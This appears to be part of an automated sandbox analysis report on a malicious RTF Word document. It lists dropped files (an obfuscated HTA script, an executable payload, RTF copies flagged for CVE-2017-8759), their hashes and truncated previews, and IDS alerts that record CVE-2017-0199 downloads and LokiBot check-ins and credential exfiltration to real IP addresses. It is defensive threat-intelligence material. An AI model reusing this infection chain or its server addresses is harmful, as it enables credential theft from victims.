SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	HTML document, ASCII text, with very long lines (23388), with CRLF line terminators
Category:	dropped
Size (bytes):	23556
Entropy (8bit):	1.6848932886813717
Encrypted:	false
SSDEEP:	96:C2vy2KJTuvPTTwduJZA6/3P42e2+ip2k+:TLwuv6QP5f+F3
MD5:	EC0D423A3F72D69975A1E31A275F5377
SHA1:	213922FB8456ECAADC24889AFEC1AC6EF5010C68
SHA-256:	9FD433CD543AB161D2A3CCB96A265C79EE0BB1A513647C0C33C72114660C64AC
SHA-512:	8132F567ABFD4E3489204D1F3A9FC8292457CE10495345CD0CCFA8074233411C8305C4D73078A7DEE02B086FBC22B8AD7047DD4BC127DE337D0800771EDF53AD
Malicious:	true
Preview:	<!DOCTYPE html>..<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >..<html>..<body>..<ScRipT LANGuagE="vBscRIpT">..DIm..............................................................................................................................................................................................................................................................................................................................................tzHLdKvsEcRWyQFPNHoyTeRtKqrFUgUlAoRyLWkDbyxAAzslucnYWlBayRmyLBfwwVLvflcYiZZEpfzNUcHCcwlZBMnkhugupWLqSGPRjiRWzLULwlRXTOODbDPFQNUvpSkWIiuwlAwrOtAtidmZdngahQoxtJqNCmFehSLdxChEPdkYlgmxnXjGbbfCAhnKlFqCZNLZaRvxkRURPVoeiRQJQNIGSlJCzyNdRVnAdTGK..............................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wininit.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.913749036393697
Encrypted:	false
SSDEEP:	12288:VrOj+Ri3AgFdZeDZskwkzA0+7xUNq4KC73vUECPnsSnR83PdB0:xQ3AgSskwZNeEqdCPssS3F
MD5:	66B03D1AFF27D81E62B53FC108806211
SHA1:	2557EC8B32D0B42CAC9CABDE199D31C5D4E40041
SHA-256:	59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
SHA-512:	9F8EF3DD8C482DEBB535B1E7C9155E4AB33A04F8C4F31ADE9E70ADBD5598362033785438D5D60C536A801E134E09FCD1BC80FC7AED2D167AF7F531A81F12E43D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: goodtoseeuthatgreatthingswithentirethingsgreatfor.hta, Detection: malicious, Browse Filename: PO-000041492.docx.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:=g..............0...... .......&... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................&......H........6...(...........^................................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\Desktop\stthigns.doc (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44521
Entropy (8bit):	5.318765253135316
Encrypted:	false
SSDEEP:	384:3T3tHbrN79ozVzEFH3W7RMYhDLsnz4lLk0fBWPRtLLu5i6rGsNAYAXJqskG7:3T3b3W75hDk6k0suHhAZqC7
MD5:	C5F41A54E65910D53E7D1C3239CE09D3
SHA1:	7AB555DF80792E1FE20FF4AD6D9F99C1BD94AFA4
SHA-256:	C660948B383949F255DF9A38D965B9ACA9D9D15F9558BCEBE129DE72BF77BACD
SHA-512:	4D134558986B3A94B52097DA3253B2D807ADD1FE7B16AC21AE22C8C901664FFDC7D73CF83BC7544749D919CA0229E3A4A25606B86422203C4F6187DDF68AEED8
Malicious:	true
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang0\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Ro

C:\Users\user\Desktop\~$thigns.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\Desktop\~WRD0000.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44521
Entropy (8bit):	5.318765253135316
Encrypted:	false
SSDEEP:	384:3T3tHbrN79ozVzEFH3W7RMYhDLsnz4lLk0fBWPRtLLu5i6rGsNAYAXJqskG7:3T3b3W75hDk6k0suHhAZqC7
MD5:	C5F41A54E65910D53E7D1C3239CE09D3
SHA1:	7AB555DF80792E1FE20FF4AD6D9F99C1BD94AFA4
SHA-256:	C660948B383949F255DF9A38D965B9ACA9D9D15F9558BCEBE129DE72BF77BACD
SHA-512:	4D134558986B3A94B52097DA3253B2D807ADD1FE7B16AC21AE22C8C901664FFDC7D73CF83BC7544749D919CA0229E3A4A25606B86422203C4F6187DDF68AEED8
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2, Description: detects CVE-2017-8759 weaponized RTF documents., Source: C:\Users\user\Desktop\~WRD0000.tmp, Author: ditekSHen
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang0\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Ro

C:\Users\user\Desktop\~WRD0000.tmp:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	2.34699194550343
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	stthigns.doc
File size:	257'200 bytes
MD5:	e6859034a42f217800b6bf0980e93848
SHA1:	8dcb69dcf727b7a7fbfbf6755492990dc51fd192
SHA256:	564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1
SHA512:	778ceefc76571268a7c82c18ec1b6f6661b4f696d2612528b8eb94488383c84c9dba6613cd5b1c715514e64d062d73d28d84395f30dadb4fd2da51cbac372d35
SSDEEP:	3072:sUcN1DaxXp1sAkC5gCQqCv7L5FokmFJcmrmR3D:slruZ1sA55gCQBL5FokmFyCmR3D
TLSH:	9844582AE34F0954DF5597BB434A8A4945FCB33EF34540A139ACA73437ADC2E4A6287C
File Content Preview:	{\rtf1..........{\\pnaiu472632820 \"}.{\6420395929598_&=)@?=7(@06?3%%'(??-'>`1<.$0'8\|`_[.?0]%_.:@&^8..1.\|..43?>_96?=?!.%=#?%~/;!+(,#^%`$!!?0?!]%<0-00>)!.43\|?6$.?:$#[$.>9:^^&$.</5~-(,]:^3<;;7!+5/^.?;$-<(.3.=71[??.86+06;$'845?<(?6@`!_7?,@;-@&-3%_&-9&$%0

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	00001592h								no

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T11:08:01.107173+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49163	66.63.187.231	80	TCP
2024-11-20T11:08:01.107297+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	66.63.187.231	80	192.168.2.22	49163	TCP
2024-11-20T11:08:09.357697+0100	2022050	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1	1	66.63.187.231	80	192.168.2.22	49164	TCP
2024-11-20T11:08:09.456799+0100	2022051	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2	1	66.63.187.231	80	192.168.2.22	49164	TCP
2024-11-20T11:08:17.124071+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49165	94.156.177.41	80	TCP
2024-11-20T11:08:17.124071+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49165	94.156.177.41	80	TCP
2024-11-20T11:08:17.124071+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49165	94.156.177.41	80	TCP
2024-11-20T11:08:17.823731+0100	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49165	94.156.177.41	80	TCP
2024-11-20T11:08:17.934139+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49166	94.156.177.41	80	TCP
2024-11-20T11:08:17.934139+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49166	94.156.177.41	80	TCP
2024-11-20T11:08:17.934139+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49166	94.156.177.41	80	TCP
2024-11-20T11:08:18.691490+0100	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49166	94.156.177.41	80	TCP
2024-11-20T11:08:18.846126+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:18.846126+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:18.846126+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:19.578539+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:19.578539+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:19.583567+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49167	TCP
2024-11-20T11:08:19.737168+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:19.737168+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:19.737168+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:20.483471+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:20.483471+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:20.491622+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49168	TCP
2024-11-20T11:08:20.648933+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:20.648933+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:20.648933+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:21.399796+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:21.399796+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:21.404863+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49169	TCP
2024-11-20T11:08:21.561435+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:21.561435+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:21.561435+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:22.424479+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:22.424479+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:22.431805+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49170	TCP
2024-11-20T11:08:22.587777+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:22.587777+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:22.587777+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:23.353502+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:23.353502+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:23.382907+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49171	TCP
2024-11-20T11:08:23.789922+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:23.789922+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:23.789922+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:24.467559+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:24.467559+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:24.482563+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49172	TCP
2024-11-20T11:08:24.629607+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:24.629607+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:24.629607+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:25.379147+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:25.379147+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:25.387666+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49173	TCP
2024-11-20T11:08:25.550254+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:25.550254+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:25.550254+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:26.297901+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:26.297901+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:26.303597+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49174	TCP
2024-11-20T11:08:26.451548+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:26.451548+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:26.451548+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:27.189211+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:27.189211+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:27.194081+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49175	TCP
2024-11-20T11:08:27.342170+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:27.342170+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:27.342170+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:28.082947+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:28.082947+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:28.097656+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49176	TCP
2024-11-20T11:08:28.290956+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:28.290956+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:28.290956+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:29.023498+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:29.023498+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:29.028327+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49177	TCP
2024-11-20T11:08:29.162280+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:29.162280+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:29.162280+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:29.900412+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:29.900412+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:29.907682+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49178	TCP
2024-11-20T11:08:30.056656+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:30.056656+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:30.056656+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:30.800621+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:30.800621+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:30.805867+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49179	TCP
2024-11-20T11:08:30.942889+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:30.942889+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:30.942889+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:31.709835+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:31.709835+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:31.714780+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49180	TCP
2024-11-20T11:08:31.861944+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:31.861944+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:31.861944+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:32.666766+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:32.666766+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:32.675345+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49181	TCP
2024-11-20T11:08:32.814812+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:32.814812+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:32.814812+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:33.577251+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:33.577251+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:33.582195+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49182	TCP
2024-11-20T11:08:33.725738+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:33.725738+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:33.725738+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:34.478832+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:34.478832+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:34.487728+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49183	TCP
2024-11-20T11:08:34.631910+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:34.631910+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:34.631910+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:35.458425+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:35.458425+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:35.465753+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49184	TCP
2024-11-20T11:08:35.612589+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:35.612589+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:35.612589+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:36.517609+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:36.517609+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49185	94.156.177.41	80	TCP
